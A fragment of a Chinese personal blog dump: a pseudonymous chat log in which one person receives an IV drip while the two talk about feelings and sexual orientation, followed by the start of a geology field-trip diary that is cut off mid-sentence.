\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:40:07\u003c/h2\u003e\r\n\u003ch2\u003e嗯？你就去了？不是说5点么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:40:25\u003c/h2\u003e\r\n\u003ch2\u003e不想再跑一趟 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:40:46\u003c/h2\u003e\r\n\u003ch2\u003e正好是下去了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:41:05\u003c/h2\u003e\r\n\u003ch2\u003e哦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:43:16\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:43:27\u003c/h2\u003e\r\n\u003ch2\u003e给你发个照片 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:43:46\u003c/h2\u003e\r\n\u003ch2\u003e不过那花衬衫是别人的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:44:04\u003c/h2\u003e\r\n\u003ch2\u003e感觉还是以前啊，没变化\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:49:48\u003c/h2\u003e\r\n\u003ch2\u003e你在干嘛 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:50:26\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:51:23\u003c/h2\u003e\r\n\u003ch2\u003e勘测？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:51:31\u003c/h2\u003e\r\n\u003ch2\u003e嗯，做地质图\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:51:42\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:57:18\u003c/h2\u003e\r\n\u003ch2\u003e你别聊天了吧，好好打针\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:57:47\u003c/h2\u003e\r\n\u003ch2\u003e很痛 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:58:00\u003c/h2\u003e\r\n\u003ch2\u003e需要分散注意力 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:58:11\u003c/h2\u003e\r\n\u003ch2\u003e手里握个暖水瓶吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:58:21\u003c/h2\u003e\r\n\u003ch2\u003e天好热 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:58:33\u003c/h2\u003e\r\n\u003ch2\u003e我错了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:58:35\u003c/h2\u003e\r\n\u003ch2\u003e怎么会需要热水瓶呢 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:58:54\u003c/h2\u003e\r\n\u003ch2\u003e点滴会冷手\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:58:59\u003c/h2\u003e\r\n\u003ch2\u003e你忙你的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:59:11\u003c/h2\u003e\r\n\u003ch2\u003e嗯，我只是说说\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e15:59:15\u003c/h2\u003e\r\n\u003ch2\u003e知道你不会安慰照顾人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e15:59:23\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:02:49\u003c/h2\u003e\r\n\u003ch2\u003e你会爱我么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:02:56\u003c/h2\u003e\r\n\u003ch2\u003e不会\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:03:49\u003c/h2\u003e\r\n\u003ch2\u003e你是正确的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:04:14\u003c/h2\u003e\r\n\u003ch2\u003e哦？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:05:16\u003c/h2\u003e\r\n\u003ch2\u003e我会爱女人么？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:05:30\u003c/h2\u003e\r\n\u003ch2\u003e不会\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:05:56\u003c/h2\u003e\r\n\u003ch2\u003e我爱男人？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:06:09\u003c/h2\u003e\r\n\u003ch2\u003e嗯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:06:19\u003c/h2\u003e\r\n\u003ch2\u003e你呢？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:07:04\u003c/h2\u003e\r\n\u003ch2\u003e我？不知道……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:07:37\u003c/h2\u003e\r\n\u003ch2\u003e你好像说过我是0的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:10:00\u003c/h2\u003e\r\n\u003ch2\u003e你喜欢大男人？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:10:14\u003c/h2\u003e\r\n\u003ch2\u003e不知道……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:10:36\u003c/h2\u003e\r\n\u003ch2\u003e总之是不喜欢我 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:10:48\u003c/h2\u003e\r\n\u003ch2\u003e因为你觉得我是0 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:11:18\u003c/h2\u003e\r\n\u003ch2\u003e不是\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:11:46\u003c/h2\u003e\r\n\u003ch2\u003e你不是忘记了吧，我是知道你现实里的身份的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:12:13\u003c/h2\u003e\r\n\u003ch2\u003e你知道的不很完整 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:12:39\u003c/h2\u003e\r\n\u003ch2\u003e但也差不多拉……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:14:32\u003c/h2\u003e\r\n\u003ch2\u003e不明白你都知道些什么 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:14:49\u003c/h2\u003e\r\n\u003ch2\u003e你想听?\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:14:58\u003c/h2\u003e\r\n\u003ch2\u003e是不是说出来会吓死人？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:15:06\u003c/h2\u003e\r\n\u003ch2\u003e你说吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:15:08\u003c/h2\u003e\r\n\u003ch2\u003e应该不会\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:15:13\u003c/h2\u003e\r\n\u003ch2\u003e我想知道 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e…………\u003c/h2\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:29:53\u003c/h2\u003e\r\n\u003ch2\u003e生气了么?\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:33:51\u003c/h2\u003e\r\n\u003ch2\u003e唉!\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:34:50\u003c/h2\u003e\r\n\u003ch2\u003e唉!早知道就不说了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:34:55\u003c/h2\u003e\r\n\u003ch2\u003e上次也是这样\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:35:28\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:35:37\u003c/h2\u003e\r\n\u003ch2\u003e孩子气 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:35:48\u003c/h2\u003e\r\n\u003ch2\u003e \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:36:39\u003c/h2\u003e\r\n\u003ch2\u003e那你就把我当作XXX吧 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:37:12\u003c/h2\u003e\r\n\u003ch2\u003e如果我把你当作XXX的话,我就不可能和你聊这么久了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:37:59\u003c/h2\u003e\r\n\u003ch2\u003e很久没跟你说话，今天的确说得够久 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:38:42\u003c/h2\u003e\r\n\u003ch2\u003e谢谢你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:38:55\u003c/h2\u003e\r\n\u003ch2\u003e打针很郁闷的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:47:53\u003c/h2\u003e\r\n\u003ch2\u003e谢我什么,说话而已\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:48:12\u003c/h2\u003e\r\n\u003ch2\u003e你图做好了么 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:48:15\u003c/h2\u003e\r\n\u003ch2\u003e今天讲的何止久饿,从中午一直到现在\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:48:23\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:48:35\u003c/h2\u003e\r\n\u003ch2\u003e那个估计要做一个暑假了,好多呢\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:49:27\u003c/h2\u003e\r\n\u003ch2\u003e暑假我有事 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:49:34\u003c/h2\u003e\r\n\u003ch2\u003e不能陪你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:50:18\u003c/h2\u003e\r\n\u003ch2\u003e没事,当我陪你就好了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:50:30\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:50:41\u003c/h2\u003e\r\n\u003ch2\u003e我也许要外出 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:50:56\u003c/h2\u003e\r\n\u003ch2\u003e不是说做手术么,怎么手术还外出?\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:51:17\u003c/h2\u003e\r\n\u003ch2\u003e去南方做 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:52:06\u003c/h2\u003e\r\n\u003ch2\u003e今天药水打得快一些 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:52:14\u003c/h2\u003e\r\n\u003ch2\u003e有点不舒服 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:52:33\u003c/h2\u003e\r\n\u003ch2\u003e南方?哪里?\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:52:43\u003c/h2\u003e\r\n\u003ch2\u003e唉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:54:54\u003c/h2\u003e\r\n\u003ch2\u003e唉!\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:55:05\u003c/h2\u003e\r\n\u003ch2\u003e怎么了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:55:16\u003c/h2\u003e\r\n\u003ch2\u003e手很痛 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:55:22\u003c/h2\u003e\r\n\u003ch2\u003e有点晕 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:55:25\u003c/h2\u003e\r\n\u003ch2\u003e没什么,听听歌舒坦舒坦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:55:38\u003c/h2\u003e\r\n\u003ch2\u003e手痛要把点滴那个弄慢点\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:55:50\u003c/h2\u003e\r\n\u003ch2\u003e别一味追求速度\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e16:55:58\u003c/h2\u003e\r\n\u003ch2\u003e身体吃不消就不好了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:56:41\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e16:56:49\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003c/tbody\u003e\u003c/table\u003e","time":14,"title":"难得的聊天记录"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"　纯流水帐，不感兴趣的可以忽略不计。没有照片，这两天就会放上。\n6月27日，晴。6:30出发，离校，7:30到达抚北站，8:30做火车，11:00到达南昌，11:30拿到票解散。与班长一起，在华莱士海吃一顿，沿路走至八一广场，体验了一下夏日炎炎，观摩了一下八一纪念塔，高大而又宏伟。随后到沃尔玛超市，买了些东西，回八一广场，晒太阳。观喷泉，亚洲最大的喷泉，激情澎湃呀。吃晚饭，回火车站，在候车厅打牌，玩的不亦乐乎。到点，上候车厅，等车。上车，坐好，聊天。下一站，车位已乱，座位被一个老阿婆给占了。不好叫她起来，自己蹭同学位子去了。没过多久，位子又被一小孩给占了大半，汗，无语！去水池洗李子，结果两水池，一个坏了，一个水龙头被我拧开了，水哗哗的流，溅到旁边的阿婆身上，跟她说了一大堆的对不起，她还在那里说，讨厌，我自己都弄了一身我跟谁说去呀我！我冤不冤！经过无聊的等待，抵达重点。坐接送车到达之江学院，到宿舍，抹席子，扫地，吃饭，买东西，睡了一个下午，晚上开会，商讨了一些事，回宿舍，睡觉，一夜无话。\n6月29日，阴。今天是实习第一天，从南山陵园到玉皇顶。先到动物园下车到南山陵园，园里面有很多的墓碑，看到陵园地图后发现园内竟有十几个区域。沿着南山陵园前的小路，我们来到了白云庵。本来是不要门票就可以去玉皇顶的，可不知怎的几年竟然建了收费口，而且那位收费阿姨脑筋特别死，非要我们买全。最后在我们老师九牛二虎之力下，终于争取到了全体半票的结果，上去的时候，那位阿姨还在那里数人数呢，无语拉。过松关，上山，到紫来洞，沿着公路走，在停车场旁边又定了一个点。到涵壁亭，了解了一下地质图的观察方法，结束，解散。本来今天打算去西湖的，但由于今天爬山太累了，我们老师在路上都还突然晕倒了呢，在我们极力抢救之下才有所好转。所以我们一解散就回学校了。洗澡，睡觉，一夜无语。\n6月30日，阴。今天是实习第二天，从四眼井到南高峰。还是在动物园下车，沿路走至四眼井，在公路处一小背斜测其产状，西北翼，东南翼和倾伏端的。到南高峰，上，来到水乐洞，老师讲解一下，我们进去看，发现也不过